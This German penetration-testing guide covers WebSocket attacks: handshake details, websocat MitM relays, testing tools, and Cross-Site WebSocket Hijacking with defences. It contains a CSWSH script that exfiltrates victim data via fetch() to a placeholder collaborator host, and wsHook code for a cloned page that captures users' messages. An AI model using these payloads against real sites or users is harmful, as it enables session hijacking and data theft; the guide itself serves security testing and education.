WebSocket-Angriffe

Reading time: 11 minutes

Was sind WebSockets

WebSocket-Verbindungen werden durch einen initialen HTTP-Handshake hergestellt und sind darauf ausgelegt, langfristig zu bestehen, was bidirektionale Nachrichtenübermittlung zu jeder Zeit ohne die Notwendigkeit eines transaktionalen Systems ermöglicht. Dies macht WebSockets besonders vorteilhaft für Anwendungen, die geringe Latenz oder serverinitiierte Kommunikation erfordern, wie z.B. Live-Finanzdatenströme.

Einrichtung von WebSocket-Verbindungen

Eine detaillierte Erklärung zur Einrichtung von WebSocket-Verbindungen kann hier aufgerufen werden. Zusammenfassend werden WebSocket-Verbindungen normalerweise über clientseitiges JavaScript initiiert, wie unten gezeigt:

var ws = new WebSocket("wss://normal-website.com/ws")

Das wss-Protokoll bezeichnet eine WebSocket-Verbindung, die mit TLS gesichert ist, während ws eine unsichere Verbindung anzeigt.

Während der Verbindungsherstellung wird ein Handshake zwischen dem Browser und dem Server über HTTP durchgeführt. Der Handshake-Prozess umfasst das Senden einer Anfrage durch den Browser und die Antwort des Servers, wie in den folgenden Beispielen dargestellt:

Der Browser sendet eine Handshake-Anfrage:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Server-Antwort auf das Handshake:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Die Verbindung bleibt nach der Herstellung für den Nachrichtenaustausch in beide Richtungen offen.

Wichtige Punkte des WebSocket-Handshakes:

• Die Connection- und Upgrade-Header signalisieren den Beginn eines WebSocket-Handshakes.
• Der Sec-WebSocket-Version-Header gibt die gewünschte WebSocket-Protokollversion an, normalerweise 13.
• Ein Base64-kodierter zufälliger Wert wird im Sec-WebSocket-Key-Header gesendet, um sicherzustellen, dass jeder Handshake einzigartig ist, was hilft, Probleme mit Caching-Proxys zu vermeiden. Dieser Wert dient nicht der Authentifizierung, sondern um zu bestätigen, dass die Antwort nicht von einem falsch konfigurierten Server oder Cache generiert wurde.
• Der Sec-WebSocket-Accept-Header in der Serverantwort ist ein Hash des Sec-WebSocket-Key, der die Absicht des Servers verifiziert, eine WebSocket-Verbindung zu öffnen.

Diese Merkmale stellen sicher, dass der Handshake-Prozess sicher und zuverlässig ist und den Weg für eine effiziente Echtzeitkommunikation ebnet.

Linux-Konsole

Sie können websocat verwenden, um eine rohe Verbindung mit einem Websocket herzustellen.

websocat --insecure wss://10.10.10.10:8000 -v

Oder um einen websocat-Server zu erstellen:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket-Verbindungen

Wenn Sie feststellen, dass Clients von Ihrem aktuellen lokalen Netzwerk aus mit einem HTTP websocket verbunden sind, könnten Sie einen ARP Spoofing Attack versuchen, um einen MitM-Angriff zwischen dem Client und dem Server durchzuführen.
Sobald der Client versucht, sich zu verbinden, können Sie dann Folgendes verwenden:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets Enumeration

Sie können das Tool https://github.com/PalindromeLabs/STEWS verwenden, um automatisch bekannte Schwachstellen in Websockets zu entdecken, zu identifizieren und zu suchen.

Websocket Debug Tools

• Burp Suite unterstützt MitM-Websockets-Kommunikation auf eine sehr ähnliche Weise, wie es für reguläre HTTP-Kommunikation der Fall ist.
• Die socketsleuth Burp Suite-Erweiterung ermöglicht es Ihnen, Websocket-Kommunikationen in Burp besser zu verwalten, indem Sie die Historie abrufen, Abfangregeln festlegen, Match- und Ersetzungsregeln verwenden, Intruder und AutoRepeater nutzen.
• WSSiP: Kurz für "WebSocket/Socket.io Proxy", dieses Tool, geschrieben in Node.js, bietet eine Benutzeroberfläche, um Nachrichten zu erfassen, abzufangen, benutzerdefinierte Nachrichten zu senden und alle WebSocket- und Socket.IO-Kommunikationen zwischen dem Client und dem Server anzuzeigen.
• wsrepl ist ein interaktives Websocket REPL, das speziell für Penetrationstests entwickelt wurde. Es bietet eine Schnittstelle zur Beobachtung eingehender Websocket-Nachrichten und zum Senden neuer, mit einem benutzerfreundlichen Framework zur Automatisierung dieser Kommunikation.
• https://websocketking.com/ ist eine Webanwendung zur Kommunikation mit anderen Webseiten über Websockets.
• https://hoppscotch.io/realtime/websocket bietet unter anderem eine Webanwendung zur Kommunikation mit anderen Webseiten über Websockets.

Decrypting Websocket

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Websocket Lab

In Burp-Suite-Extender-Montoya-Course haben Sie einen Code, um eine Webseite mit Websockets zu starten, und in diesem Beitrag finden Sie eine Erklärung.

Websocket Fuzzing

Die Burp-Erweiterung Backslash Powered Scanner ermöglicht jetzt auch das Fuzzing von WebSocket-Nachrichten. Sie können mehr Informationen dazu hier lesen.

Cross-Site WebSocket Hijacking (CSWSH)

Cross-Site WebSocket Hijacking, auch bekannt als Cross-Origin WebSocket Hijacking, wird als ein spezifischer Fall von Cross-Site Request Forgery (CSRF) identifiziert, der WebSocket-Handshakes betrifft. Diese Schwachstelle tritt auf, wenn WebSocket-Handshakes ausschließlich über HTTP-Cookies authentifiziert werden, ohne CSRF-Token oder ähnliche Sicherheitsmaßnahmen.

Angreifer können dies ausnutzen, indem sie eine bösartige Webseite hosten, die eine Cross-Site-WebSocket-Verbindung zu einer verwundbaren Anwendung initiiert. Folglich wird diese Verbindung als Teil der Sitzung des Opfers mit der Anwendung behandelt, wodurch die fehlende CSRF-Schutzmaßnahme im Sitzungsmanagement ausgenutzt wird.

Damit dieser Angriff funktioniert, sind folgende Anforderungen erforderlich:

• Die Websocket-Authentifizierung muss cookie-basiert sein
• Das Cookie muss vom Server des Angreifers zugänglich sein (das bedeutet normalerweise SameSite=None) und es dürfen keine Firefox Total Cookie Protection in Firefox aktiviert sein und keine blockierten Drittanbieter-Cookies in Chrome.
• Der Websocket-Server darf den Ursprung der Verbindung nicht überprüfen (oder dies muss umgehbar sein)

Außerdem:

• Wenn die Authentifizierung auf einer lokalen Verbindung (zu localhost oder zu einem lokalen Netzwerk) basiert, wird der Angriff möglich sein, da derzeit kein Schutz dies verbietet (siehe mehr Informationen hier)

Einfacher Angriff

Beachten Sie, dass beim Herstellen einer Websocket-Verbindung das Cookie an den Server gesendet wird. Der Server könnte es verwenden, um jeden spezifischen Benutzer mit seiner Websocket-Sitzung basierend auf dem gesendeten Cookie zu verknüpfen.

Wenn der Websocket-Server beispielsweise die Historie der Konversation eines Benutzers zurücksendet, wenn eine Nachricht mit "READY" gesendet wird, dann kann ein einfaches XSS, das die Verbindung herstellt (das Cookie wird automatisch gesendet, um den Benutzer des Opfers zu autorisieren), "READY" senden und die Historie der Konversation abrufen.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie mit einem anderen Subdomain

In diesem Blogbeitrag https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ gelang es dem Angreifer, willkürliches Javascript in einem Subdomain der Domain auszuführen, in der die Websocket-Kommunikation stattfand. Da es sich um ein Subdomain handelte, wurde das Cookie gesendet, und da der Websocket die Origin nicht richtig überprüfte, war es möglich, mit ihm zu kommunizieren und Tokens von ihm zu stehlen.

Daten von Benutzern stehlen

Kopiere die Webanwendung, die du nachahmen möchtest (die .html-Dateien zum Beispiel), und füge in das Skript, in dem die Websocket-Kommunikation stattfindet, diesen Code hinzu:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Laden Sie die wsHook.js-Datei von https://github.com/skepticfx/wshook herunter und speichern Sie sie im Ordner mit den Webdateien.
Durch das Bereitstellen der Webanwendung und das Herstellen einer Verbindung eines Benutzers damit, können Sie die über Websocket gesendeten und empfangenen Nachrichten stehlen:

sudo python3 -m http.server 80

CSWSH-Schutzmaßnahmen

Der CSWSH-Angriff basiert auf der Tatsache, dass ein Benutzer sich mit einer bösartigen Seite verbindet, die eine Websocket-Verbindung zu einer Webseite öffnet, mit der der Benutzer bereits verbunden ist, und sich als dieser authentifiziert, da die Anfrage die Cookies des Benutzers sendet.

Heutzutage ist es sehr einfach, dieses Problem zu verhindern:

• Websocket-Server überprüft den Ursprung: Der Websocket-Server sollte immer überprüfen, von wo ein Benutzer sich verbindet, um zu verhindern, dass unerwartete Seiten eine Verbindung zu ihm herstellen.
• Authentifizierungstoken: Anstatt die Authentifizierung auf einem Cookie zu basieren, könnte die Websocket-Verbindung auf einem Token basieren, das vom Server für den Benutzer generiert wird, das dem Angreifer unbekannt ist (wie ein Anti-CSRF-Token).
• SameSite-Cookie-Attribut: Cookies mit dem SameSite-Wert Lax oder Strict werden von einer externen Angreiferseite nicht an den Opferserver gesendet, daher wird die cookie-basierte Authentifizierung nicht erfolgreich sein. Beachten Sie, dass Chrome jetzt den Wert Lax für Cookies ohne dieses Flag festlegt, was dies standardmäßig sicherer macht. Obwohl das erste 2 Minuten, nachdem ein Cookie erstellt wurde, der Wert None sein wird, was es während dieses begrenzten Zeitraums anfällig macht (es wird auch erwartet, dass diese Maßnahme irgendwann entfernt wird).
• Firefox Total Cookie Protection: Total Cookie Protection funktioniert, indem Cookies auf die Seite isoliert werden, auf der sie erstellt wurden. Im Wesentlichen hat jede Seite ihren eigenen Cookie-Speicherpartition, um zu verhindern, dass Dritte die Browserverlauf eines Benutzers miteinander verknüpfen. Dies macht CSWSH unbrauchbar, da die Angreiferseite keinen Zugriff auf die Cookies hat.
• Chrome-Drittanbieter-Cookies blockieren: Dies könnte auch verhindern, dass das Cookie des authentifizierten Benutzers an den Websocket-Server gesendet wird, selbst wenn SameSite=None gesetzt ist.

Race Conditions

Race Conditions in WebSockets sind ebenfalls ein Thema, prüfen Sie diese Informationen, um mehr zu erfahren.

Andere Schwachstellen

Da Web Sockets ein Mechanismus sind, um Daten an die Server- und Client-Seite zu senden, können Web Sockets, je nachdem, wie der Server und der Client die Informationen behandeln, genutzt werden, um mehrere andere Schwachstellen wie XSS, SQLi oder andere gängige Web-Schwachstellen auszunutzen, indem Eingaben eines Benutzers über einen Websocket verwendet werden.

WebSocket Smuggling

Diese Schwachstelle könnte es Ihnen ermöglichen, Einschränkungen von Reverse-Proxys zu umgehen, indem Sie sie glauben lassen, dass eine Websocket-Kommunikation hergestellt wurde (auch wenn das nicht wahr ist). Dies könnte einem Angreifer ermöglichen, auf versteckte Endpunkte zuzugreifen. Für weitere Informationen überprüfen Sie die folgende Seite:

Upgrade Header Smuggling

Referenzen

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/